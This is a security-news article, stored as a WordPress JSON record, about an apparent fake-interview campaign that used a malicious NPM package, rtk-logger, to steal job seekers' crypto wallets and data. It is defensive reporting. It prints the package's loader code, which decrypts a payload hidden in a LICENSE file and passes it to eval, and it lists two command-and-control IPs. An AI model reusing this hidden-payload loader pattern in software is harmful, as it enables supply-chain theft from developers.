{"id":6106,"date":"2025-08-13T10:03:40","date_gmt":"2025-08-13T10:03:40","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/08\/13\/ukrainian-web3team-weaponizing-npm-package-to-attack-job-seekers-and-steal-sensitive-data\/"},"modified":"2025-08-13T10:03:40","modified_gmt":"2025-08-13T10:03:40","slug":"ukrainian-web3team-weaponizing-npm-package-to-attack-job-seekers-and-steal-sensitive-data","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/08\/13\/ukrainian-web3team-weaponizing-npm-package-to-attack-job-seekers-and-steal-sensitive-data\/","title":{"rendered":"Ukrainian Web3team Weaponizing NPM Package to Attack Job Seekers and Steal Sensitive Data"},"content":{"rendered":"<p>    Ukrainian Web3team Weaponizing NPM Package to Attack Job Seekers and Steal Sensitive Data<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>A sophisticated cybercriminal operation disguised as a Ukrainian Web3 development team has been targeting job seekers through weaponized NPM packages, security researchers warn.<\/p>\n<p>The attack leverages fake interview processes to trick unsuspecting candidates into downloading and executing malicious code that steals cryptocurrency wallets, browser data, and sensitive personal information.<\/p>\n<p>The campaign centers around a seemingly legitimate <a href=\"https:\/\/cybersecuritynews.com\/60-github-repositories-exploited\/\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub repository<\/a> called \u201cEvaCodes-Community\/UltraX,\u201d which attackers present to prospective employees during first-round interviews.<\/p>\n<p>Victims are instructed to clone and run the repository locally as part of a technical assessment. However, the project contains a malicious NPM dependency designed to harvest sensitive data from the target\u2019s system.<\/p>\n<p>On August 9, 2025, a community member approached SlowMist researchers after becoming suspicious of the repository\u2019s contents during an interview process.<\/p>\n<p>The security team\u2019s subsequent analysis revealed the presence of a backdoor embedded within the project\u2019s dependencies, confirming the malicious nature of what appeared to be a standard Web3 development repository.<\/p>\n<p>SlowMist analysts <a href=\"https:\/\/slowmist.medium.com\/threat-intelligence-uncovering-a-web3-interview-scam-bb366694b7f3\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> that the attack initially used the NPM package \u201credux-ace@1.0.3,\u201d which was later replaced with \u201crtk-logger@1.11.5\u201d after the original package was removed by NPM\u2019s security team.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEidvFH_okmiC_9S0fnGLH0M7oqWJ02_cVT6eAtluFjG0UoMi-MN0rzouuzqmaxrzg_Cd-znatxP5KBEFS6cvR76jwtidEn3x2QcbiAegztnDYrszH0zl3reYL5R07Qxq39hoDMHd4w4EuHJycibAE5679iZvDftZWvGcjdo_avYQv68Xc3gARRe-kC5oyA\/s16000\/rtk-logger%401.11.5%2520package%2520%28Source%2520-%2520Medium%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">rtk-logger@1.11.5 package (Source \u2013 Medium)<\/figcaption><\/figure>\n<\/div>\n<p>The newer package, published on August 8, 2025, contains heavily <a href=\"https:\/\/cybersecuritynews.com\/researchers-obfuscated-weaponized-net-assemblies\/\" target=\"_blank\" rel=\"noreferrer noopener\">obfuscated<\/a> code designed to evade detection while maintaining the same malicious functionality.<\/p>\n<p>The threat extends beyond individual victims, as the researchers discovered that two additional GitHub accounts had forked the malicious repository, suggesting a broader campaign targeting multiple potential victims across the Web3 job market.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-infection-mechanism-and-code-execution\"><strong>Infection Mechanism and Code Execution<\/strong><\/h2>\n<p>The malware\u2019s infection vector relies on social engineering rather than technical exploitation, making it particularly dangerous for job seekers in the competitive Web3 space.<\/p>\n<p>Once the victim clones the repository and executes \u201cnpm install,\u201d the malicious rtk-logger package automatically triggers its payload through a sophisticated multi-stage process.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEiWbR1nSwQPy1dLdWRNI8-2gz4zbc6-vKX2NziXrU4EIXHJV_B8InsAgE2eSxgelEw7clFvB28xoEnZGfkXE3mRdAE2oZR3vTh-EeEXk3PvCEo2hE9vWnydHvhtrunFZPdGO03N4fm3c_5eGUOu8FEE90JBKhc1rFoUeEBZOVcSS3C0qL61m__Uuh3Nc0g\/s16000\/malicious%2520code%2520location%2520%28Source%2520-%2520Medium%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">malicious code location (Source \u2013 Medium)<\/figcaption><\/figure>\n<\/div>\n<p>The package\u2019s core malicious code resides in \u201c\/rtk-logger\/lib\/utils\/smtp-connection\/index.js,\u201d which uses AES-256-CBC decryption to unlock obfuscated payloads stored in the LICENSE file.<\/p>\n<p>The decryption process employs hardcoded keys and initialization vectors, allowing the malware to execute without additional network communication during initial deployment.<\/p>\n<pre class=\"wp-block-code\"><code>const fs = require('fs');\nconst path = require('path');\nconst parseLib = require('.\/parse')\nconst filePath = path.join(__dirname, 'LICENSE');\nfs.readFile(filePath, 'utf8', (_, data) =&gt; {\n    try {\n        eval(parseLib(data))\n    } catch (err) {\n        console.error('Error during parsing\/eval:', err);\n    }\n})<\/code><\/pre>\n<p>After successful decryption, the <a href=\"https:\/\/cybersecuritynews.com\/chatgpt-powered-malware-analysis\/\" target=\"_blank\" rel=\"noreferrer noopener\">malware<\/a> establishes connections to command-and-control servers at 144.172.112.106 and 172.86.64.67, enabling remote access and data exfiltration capabilities while maintaining persistence through various system-level modifications.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\"><strong><code>Boost\u00a0your\u00a0SOC and help your team protect your business with free top-notch threat intelligence:\u00a0<a href=\"https:\/\/intelligence.any.run\/plans\/?utm_source=csn&amp;utm_medium=article&amp;utm_campaign=alert_fatigue&amp;utm_content=lookup_plan&amp;utm_term=120825\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Request TI Lookup Premium Trial<\/a>.<\/code><\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/ukrainian-web3team-weaponizing-npm-package\/\">Ukrainian Web3team Weaponizing NPM Package to Attack Job Seekers and Steal Sensitive Data<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/ukrainian-web3team-weaponizing-npm-package\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ukrainian Web3team Weaponizing NPM Package to Attack Job Seekers and Steal Sensitive Data A sophisticated cybercriminal operation disguised as a Ukrainian Web3 development team has been targeting job seekers through weaponized NPM packages, security researchers warn. The attack leverages fake interview processes to trick unsuspecting candidates into downloading and executing malicious code that steals cryptocurrency [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-6106","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6106"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=6106"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6106\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=6106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=6106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=6106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}